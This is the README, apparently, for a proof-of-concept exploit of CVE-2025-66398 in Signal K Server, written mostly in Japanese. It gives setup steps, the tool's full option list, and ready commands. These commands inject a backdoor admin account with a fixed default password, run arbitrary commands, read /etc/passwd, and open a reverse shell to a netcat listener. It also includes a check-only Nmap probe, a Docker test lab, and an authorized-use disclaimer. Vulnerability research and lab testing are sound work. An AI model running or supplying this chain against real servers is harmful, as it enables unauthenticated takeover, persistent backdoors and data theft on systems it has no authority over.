
CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC
CVE-2025-66398 は Signal K Server の問題であり、認証されていない攻撃者が /skServer/validateBackup を介してサーバーの復元状態を汚染し、その後 /skServer/restore を介して設定を乗っ取り、バックドア管理者アカウントを注入し、(オプションで)セキュリティ戦略を攻撃者が制御する Node.js モジュールに切り替えることで RCE を達成できるものです。
影響を受けるバージョン: Signal K Server ≤ 2.18.0
影響(概要): 認証なしの状態汚染 → バックドア管理者注入 → リモートコード実行(復元 + 再起動が発生した場合)
/skServer/validateBackup が認証なしのアップロードを受け入れるかどうかをテストします。http-signalk-cve-2025-66398.nse (チェックのみ、悪用なし)。git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go
go install github.com/joshuavanderpoll/cve-2025-66398@latest
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
この PoC には 2 つのモードがあります:
-check, -command, -read-file などのフラグを渡します。(最初に正常に対話型モードを実行した場合のみ推奨)python3 cve-2025-66398.py -h
# or GoLang release
./cve-2025-66398 -h
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
[-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE
options:
-h, --help show this help message and exit
-target URL Base URL of the Signal K server
-useragent UA User-Agent header for all HTTP requests
-timeout SEC Request timeout in seconds (default: 10)
-target-os OS Target server OS for payload/path adaptation: linux (default) or windows
-signalk-dir DIR Override the Signal K data directory on the target (default: OS-dependent)
-check Test if the target is vulnerable without exploiting it
-admin-user USER Admin username for Phase 2 restore
-admin-pass PASS Admin password for Phase 2 restore
-backdoor-user USER Backdoor username to inject (default: backdoor)
-backdoor-pass PASS Backdoor password to inject (default: H4CK1nd3x!)
-command CMD Execute a command on the server (non-interactive)
-read-file PATH Read a remote file via RCE
-write-file CONTENT PATH
Write CONTENT to PATH on the server via RCE
-code CODE Inject raw Node.js code as the security module
-shell Deploy a reverse shell (requires -lhost and -lport)
-lhost HOST Listener host for reverse shell
-lport PORT Listener port for reverse shell
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -check

スタンドアロンの Nmap スクリプトが含まれており、同じ認証なしのプローブを実行します — 悪用はありません。
# Against a known Signal K port
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
# Install system-wide and run without path
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
出力例:
PORT STATE SERVICE
9360/tcp open unknown
| http-signalk-cve-2025-66398:
| state: VULNERABLE
| title: Signal K Server Unauthenticated Backup Upload leading to RCE
| IDs: CVE-2025-66398
|_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000

スクリプトは次のことを行います:
.backup を /skServer/validateBackup にアップロード(認証不要)/skServer/restore をトリガーフルチェーン(フェーズ 1 → 3)を実行し、コマンドを実行:
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

リモートファイルの読み取り(フェーズ 3):
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

リバースシェル(フェーズ 3):
nc -lvnp 4444
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

注意事項:
-admin-user/-admin-pass を渡さない場合、スクリプトは以前の実行からバックドアアカウントがすでにアクティブであると想定します。backdoor / H4CK1nd3x! です(-backdoor-user / -backdoor-pass で上書き可能)。-signalk-dir <DIR> を渡してください。ローカルテスト用の脆弱なソフトウェアを含む自己完結型の Docker Compose 環境です。 詳細は DOCKER.md を確認してください。
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
この PoC は教育および許可されたセキュリティテストのみを目的としています。自分が所有していない、または明示的なテスト許可がないシステムに対して実行しないでください。